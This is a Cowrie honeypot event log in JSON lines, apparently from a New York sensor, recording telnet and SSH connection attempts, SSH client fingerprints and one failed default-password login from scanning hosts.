{"eventid":"cowrie.session.closed","duration":31.10459041595459,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:17.599503Z","src_ip":"66.113.179.55","session":"16aa4ffdc3e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.522974967956543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:17.628810Z","src_ip":"66.113.179.55","session":"a87803490037","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.193","src_port":29708,"dst_ip":"10.17.0.5","dst_port":22,"session":"059fd0ef6f26","protocol":"ssh","message":"New connection: 2.57.122.193:29708 (10.17.0.5:22) [session: 059fd0ef6f26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:17.872324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:17.877012Z","src_ip":"2.57.122.193","session":"059fd0ef6f26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.34800386428833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:17.974109Z","src_ip":"66.113.179.55","session":"c15cf4439acc","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:17.979178Z","src_ip":"2.57.122.193","session":"059fd0ef6f26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.43354845046997,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:18.114610Z","src_ip":"186.64.112.9","session":"d5fdc0e471d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:18.405686Z","src_ip":"2.57.122.193","session":"059fd0ef6f26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":41966,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fd09b946ef3","protocol":"telnet","message":"New connection: 66.113.179.55:41966 (10.17.0.5:23) [session: 9fd09b946ef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:18.892279Z"}
{"eventid":"cowrie.session.closed","duration":30.588335514068604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:19.072958Z","src_ip":"186.64.112.9","session":"ae7f7b04bbe8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.895618438720703,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:19.135370Z","src_ip":"50.116.100.16","session":"0dc3634fad48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.42818307876587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:19.197176Z","src_ip":"50.116.100.16","session":"726369635c49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":47834,"dst_ip":"10.17.0.5","dst_port":23,"session":"74e9de64a7af","protocol":"telnet","message":"New connection: 66.113.179.55:47834 (10.17.0.5:23) [session: 74e9de64a7af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:20.813420Z"}
{"eventid":"cowrie.session.closed","duration":30.22663640975952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:21.076318Z","src_ip":"186.64.112.9","session":"275043a5a6ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.257692575454712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:21.094169Z","src_ip":"186.64.112.9","session":"2b7e00c1fcc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52561593055725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:22.125018Z","src_ip":"50.116.100.16","session":"5f83358644e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.283819437026978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:22.486691Z","src_ip":"66.113.179.55","session":"8b2f88b2d0a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.148725032806396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:22.508949Z","src_ip":"66.113.179.55","session":"137259b3ef14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.718238830566406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:23.190370Z","src_ip":"50.116.100.16","session":"2bfa6ee50fa7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08495306968689,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:29.494084Z","src_ip":"66.113.179.55","session":"889794b96a92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.860896348953247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:29.570312Z","src_ip":"66.113.179.55","session":"06bff4d87996","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88339066505432,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:30.157860Z","src_ip":"50.116.100.16","session":"a1623f04c53e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":46798,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ab4aa5ff739","protocol":"telnet","message":"New connection: 50.116.100.16:46798 (159.203.135.109:23) [session: 6ab4aa5ff739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:30.714660Z"}
{"eventid":"cowrie.session.closed","duration":30.180365085601807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:31.488927Z","src_ip":"66.113.179.55","session":"1eacfd30dbc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.114120960235596,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:31.501120Z","src_ip":"66.113.179.55","session":"653d65796b31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69664740562439,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:32.121037Z","src_ip":"50.116.100.16","session":"158e02a36643","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.437328577041626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:32.483218Z","src_ip":"66.113.179.55","session":"00dd900b864d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.318119049072266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:32.541471Z","src_ip":"66.113.179.55","session":"89a099eeb1a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82715892791748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:32.648761Z","src_ip":"66.113.179.55","session":"c56c0ce06c6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.232238292694092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:35.575166Z","src_ip":"66.113.179.55","session":"d48887df9d6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90029811859131,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:36.299057Z","src_ip":"50.116.100.16","session":"b5b9f3730416","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.889639377593994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:36.523840Z","src_ip":"66.113.179.55","session":"c3ce15e02928","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9034366607666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:36.633628Z","src_ip":"66.113.179.55","session":"fa902309318a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.214576244354248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:37.236642Z","src_ip":"50.116.100.16","session":"3ed5680bf47c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.112696409225464,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:37.468375Z","src_ip":"186.64.112.9","session":"aee8870e535b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.828570127487183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:37.603130Z","src_ip":"66.113.179.55","session":"eda9f40f4783","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.382428646087646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:39.164049Z","src_ip":"50.116.100.16","session":"3572f3213ee1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.121081590652466,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:39.394269Z","src_ip":"50.116.100.16","session":"9a0d3bc0e97b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76249647140503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:39.586190Z","src_ip":"66.113.179.55","session":"628e2eba13e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53606,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b6ad33f1a46","protocol":"ssh","message":"New connection: 159.203.92.129:53606 (159.203.135.109:22) [session: 6b6ad33f1a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:40.142598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:40.146982Z","src_ip":"159.203.92.129","session":"6b6ad33f1a46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:40.151601Z","src_ip":"159.203.92.129","session":"6b6ad33f1a46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aicg","password":"123456","message":"login attempt [aicg/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:40.166330Z","src_ip":"159.203.92.129","session":"6b6ad33f1a46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":57076,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a457a9ed362","protocol":"telnet","message":"New connection: 50.116.100.16:57076 (159.203.135.109:23) [session: 2a457a9ed362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:40.199359Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:41.173350Z","src_ip":"159.203.92.129","session":"6b6ad33f1a46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":58364,"dst_ip":"159.203.135.109","dst_port":23,"session":"91f2b9e8e851","protocol":"telnet","message":"New connection: 50.116.100.16:58364 (159.203.135.109:23) [session: 91f2b9e8e851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:41.218937Z"}
{"eventid":"cowrie.session.closed","duration":30.341444730758667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:42.264309Z","src_ip":"50.116.100.16","session":"04844c5a0a41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60116219520569,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:43.535396Z","src_ip":"66.113.179.55","session":"71f3ac6215f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.115814685821533,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:44.578679Z","src_ip":"66.113.179.55","session":"c50f1611a63f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.151984453201294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:45.160851Z","src_ip":"186.64.112.9","session":"cd5a06f5fa02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":33476,"dst_ip":"159.203.135.109","dst_port":23,"session":"74ff51bb79d3","protocol":"telnet","message":"New connection: 50.116.100.16:33476 (159.203.135.109:23) [session: 74ff51bb79d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:45.251144Z"}
{"eventid":"cowrie.session.closed","duration":30.17897391319275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:46.101242Z","src_ip":"186.64.112.9","session":"94e85d3691fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.38484525680542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:46.516178Z","src_ip":"66.113.179.55","session":"fc1b25ac39df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":35778,"dst_ip":"159.203.135.109","dst_port":23,"session":"0907be1354d9","protocol":"telnet","message":"New connection: 50.116.100.16:35778 (159.203.135.109:23) [session: 0907be1354d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:47.281905Z"}
{"eventid":"cowrie.session.closed","duration":30.710817098617554,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:47.600270Z","src_ip":"66.113.179.55","session":"0517cdd314f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.433549880981445,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:48.344850Z","src_ip":"66.113.179.55","session":"36ec3ea91a77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.079246282577515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:48.542814Z","src_ip":"66.113.179.55","session":"acb7d58b75ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.720189809799194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:49.612269Z","src_ip":"66.113.179.55","session":"9fd09b946ef3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.627405881881714,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:52.440691Z","src_ip":"66.113.179.55","session":"74e9de64a7af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.64.112.9","src_port":49822,"dst_ip":"10.17.0.5","dst_port":23,"session":"400d04f4f901","protocol":"telnet","message":"New connection: 186.64.112.9:49822 (10.17.0.5:23) [session: 400d04f4f901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:55.888381Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":49378,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ee5b09b3e92","protocol":"telnet","message":"New connection: 50.116.100.16:49378 (159.203.135.109:23) [session: 4ee5b09b3e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:04:58.951075Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":50690,"dst_ip":"159.203.135.109","dst_port":23,"session":"17c432817d95","protocol":"telnet","message":"New connection: 50.116.100.16:50690 (159.203.135.109:23) [session: 17c432817d95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:00.299319Z"}
{"eventid":"cowrie.session.closed","duration":30.463776111602783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:01.178355Z","src_ip":"50.116.100.16","session":"6ab4aa5ff739","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.531175136566162,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:11.730424Z","src_ip":"50.116.100.16","session":"2a457a9ed362","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.924400568008423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:12.143233Z","src_ip":"50.116.100.16","session":"91f2b9e8e851","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.874579668045044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:16.125589Z","src_ip":"50.116.100.16","session":"74ff51bb79d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":38534,"dst_ip":"159.203.135.109","dst_port":23,"session":"c32871a61a2a","protocol":"telnet","message":"New connection: 50.116.100.16:38534 (159.203.135.109:23) [session: c32871a61a2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:16.457286Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":39370,"dst_ip":"159.203.135.109","dst_port":23,"session":"796de8b3164e","protocol":"telnet","message":"New connection: 50.116.100.16:39370 (159.203.135.109:23) [session: 796de8b3164e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:17.274039Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":40236,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c6cb8eb8291","protocol":"telnet","message":"New connection: 50.116.100.16:40236 (159.203.135.109:23) [session: 6c6cb8eb8291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:18.272901Z"}
{"eventid":"cowrie.session.closed","duration":31.310729265213013,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:18.592514Z","src_ip":"50.116.100.16","session":"0907be1354d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.232.127","src_port":56150,"dst_ip":"159.203.135.109","dst_port":23,"session":"12d5808d7716","protocol":"telnet","message":"New connection: 167.71.232.127:56150 (159.203.135.109:23) [session: 12d5808d7716]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:23.558407Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58870,"dst_ip":"159.203.135.109","dst_port":22,"session":"23d7147e071d","protocol":"ssh","message":"New connection: 159.203.92.129:58870 (159.203.135.109:22) [session: 23d7147e071d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:23.592412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:05:23.597250Z","src_ip":"159.203.92.129","session":"23d7147e071d","protocol":"ssh"}
